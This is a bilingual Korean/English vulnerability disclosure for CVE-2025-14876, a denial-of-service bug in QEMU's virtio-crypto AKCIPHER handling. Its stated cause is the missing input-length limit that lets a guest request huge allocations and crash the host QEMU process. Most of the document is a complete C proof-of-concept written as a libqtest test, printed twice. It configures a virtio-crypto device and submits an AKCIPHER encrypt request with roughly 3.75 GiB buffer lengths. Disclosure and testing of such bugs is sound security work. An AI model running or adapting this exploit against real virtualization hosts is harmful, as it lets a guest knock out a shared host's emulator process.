Finder
CVE-2025-14876 본문
KR
qemu
qemu는 CPU 아키텍처를 소프트웨어 기반으로 에뮬레이팅해주는 툴입니다
취약점 설명
virtio-crypto.c에서 AKCIPHER 처리 로직에서 터지는 취약접입니다
symmetric경로에선 conf.max_size를 사용해 입력 길이 제한을 강제하지만 AKCIPHER 검증이 없습니다
따라서 게스트는 큰 값을 할당을 시도할수있으며 게스트에서 호스트를 kill할수있는 취약점이 터지게됩니다
PoC
#include "qemu/osdep.h"
#include "libqtest.h"
#include "qemu/bswap.h"
#include "standard-headers/linux/virtio_crypto.h"
#include "standard-headers/linux/pci_regs.h"
#include "libqos/malloc-pc.h"
#include "libqos/pci-pc.h"
#include "libqos/virtio-pci.h"
#define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */
static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
{
QPCIDevice *pdev = g_new0(QPCIDevice, 1);
pdev->bus = bus;
for (int devfn = 0; devfn < 256; devfn++) {
uint16_t vendor, device;
pdev->devfn = devfn;
vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
if (vendor != 0x1af4) {
continue;
}
device = qpci_config_readw(pdev, PCI_DEVICE_ID);
/* first virtio-pci device we see */
*out_devfn = devfn;
pdev->devfn = devfn;
pdev->msix_enabled = false;
return pdev;
}
g_free(pdev);
return NULL;
}
static void test_virtio_crypto_oom(void)
{
QTestState *qts = qtest_init("-machine q35 -accel qtest -nodefaults "
"-display none "
"-object cryptodev-backend-builtin,id=crypt0 "
"-device virtio-crypto-pci,cryptodev=crypt0");
QGuestAllocator alloc;
QPCIBus *bus;
QPCIDevice *pdev;
QVirtioPCIDevice *vdev;
QVirtQueue *vq;
QPCIAddress addr = { 0 };
struct virtio_crypto_op_data_req req = { 0 };
uint64_t req_addr, status_addr;
uint8_t status = 0xff;
uint32_t free_head;
pc_alloc_init(&alloc, qts, ALLOC_NO_FLAGS);
bus = qpci_new_pc(qts, &alloc);
g_assert_nonnull(bus);
pdev = find_virtio_dev(bus, (uint16_t *)&addr.devfn);
g_assert_nonnull(pdev);
addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);
vdev = virtio_pci_new(bus, &addr);
g_assert_nonnull(vdev);
qvirtio_pci_device_enable(vdev);
qvirtio_reset(&vdev->vdev);
qvirtio_set_acknowledge(&vdev->vdev);
qvirtio_set_driver(&vdev->vdev);
uint64_t features = qvirtio_get_features(&vdev->vdev) |
(1ull << VIRTIO_F_VERSION_1);
qvirtio_set_features(&vdev->vdev, features);
qvirtio_set_driver_ok(&vdev->vdev);
vq = qvirtqueue_setup(&vdev->vdev, &alloc, 0);
g_assert_nonnull(vq);
req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);
req_addr = guest_alloc(&alloc, sizeof(req));
qtest_memwrite(qts, req_addr, &req, sizeof(req));
status_addr = guest_alloc(&alloc, sizeof(status));
qtest_memwrite(qts, status_addr, &status, sizeof(status));
free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
false, true);
qvirtqueue_add(qts, vq, status_addr, sizeof(status),
true, false);
qvirtqueue_kick(qts, &vdev->vdev, vq, free_head);
qtest_quit(qts);
}
int main(int argc, char **argv)
{
g_test_init(&argc, &argv, NULL);
g_test_add_func("/virtio/crypto/oom", test_virtio_crypto_oom);
return g_test_run();
}
EN
QEMU
QEMU is a tool that emulates CPU architectures using software-based virtualization
Vulnerability Description
This vulnerability occurs in the AKCIPHER handling logic in virtio-crypto.c
While the symmetric path enforces an input length limit using conf.max_size the AKCIPHER path lacks any such validation
As a result, a guest can request extremely large allocations leading QEMU to attempt excessive memory allocation and ultimately crash
This allows an unprivileged guest to trigger a Dos effectively killing the host QEMU process
PoC
#include "qemu/osdep.h"
#include "libqtest.h"
#include "qemu/bswap.h"
#include "standard-headers/linux/virtio_crypto.h"
#include "standard-headers/linux/pci_regs.h"
#include "libqos/malloc-pc.h"
#include "libqos/pci-pc.h"
#include "libqos/virtio-pci.h"
#define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */
static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
{
QPCIDevice *pdev = g_new0(QPCIDevice, 1);
pdev->bus = bus;
for (int devfn = 0; devfn < 256; devfn++) {
uint16_t vendor, device;
pdev->devfn = devfn;
vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
if (vendor != 0x1af4) {
continue;
}
device = qpci_config_readw(pdev, PCI_DEVICE_ID);
/* first virtio-pci device we see */
*out_devfn = devfn;
pdev->devfn = devfn;
pdev->msix_enabled = false;
return pdev;
}
g_free(pdev);
return NULL;
}
static void test_virtio_crypto_oom(void)
{
QTestState *qts = qtest_init("-machine q35 -accel qtest -nodefaults "
"-display none "
"-object cryptodev-backend-builtin,id=crypt0 "
"-device virtio-crypto-pci,cryptodev=crypt0");
QGuestAllocator alloc;
QPCIBus *bus;
QPCIDevice *pdev;
QVirtioPCIDevice *vdev;
QVirtQueue *vq;
QPCIAddress addr = { 0 };
struct virtio_crypto_op_data_req req = { 0 };
uint64_t req_addr, status_addr;
uint8_t status = 0xff;
uint32_t free_head;
pc_alloc_init(&alloc, qts, ALLOC_NO_FLAGS);
bus = qpci_new_pc(qts, &alloc);
g_assert_nonnull(bus);
pdev = find_virtio_dev(bus, (uint16_t *)&addr.devfn);
g_assert_nonnull(pdev);
addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);
vdev = virtio_pci_new(bus, &addr);
g_assert_nonnull(vdev);
qvirtio_pci_device_enable(vdev);
qvirtio_reset(&vdev->vdev);
qvirtio_set_acknowledge(&vdev->vdev);
qvirtio_set_driver(&vdev->vdev);
uint64_t features = qvirtio_get_features(&vdev->vdev) |
(1ull << VIRTIO_F_VERSION_1);
qvirtio_set_features(&vdev->vdev, features);
qvirtio_set_driver_ok(&vdev->vdev);
vq = qvirtqueue_setup(&vdev->vdev, &alloc, 0);
g_assert_nonnull(vq);
req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);
req_addr = guest_alloc(&alloc, sizeof(req));
qtest_memwrite(qts, req_addr, &req, sizeof(req));
status_addr = guest_alloc(&alloc, sizeof(status));
qtest_memwrite(qts, status_addr, &status, sizeof(status));
free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
false, true);
qvirtqueue_add(qts, vq, status_addr, sizeof(status),
true, false);
qvirtqueue_kick(qts, &vdev->vdev, vq, free_head);
qtest_quit(qts);
}
int main(int argc, char **argv)
{
g_test_init(&argc, &argv, NULL);
g_test_add_func("/virtio/crypto/oom", test_virtio_crypto_oom);
return g_test_run();
}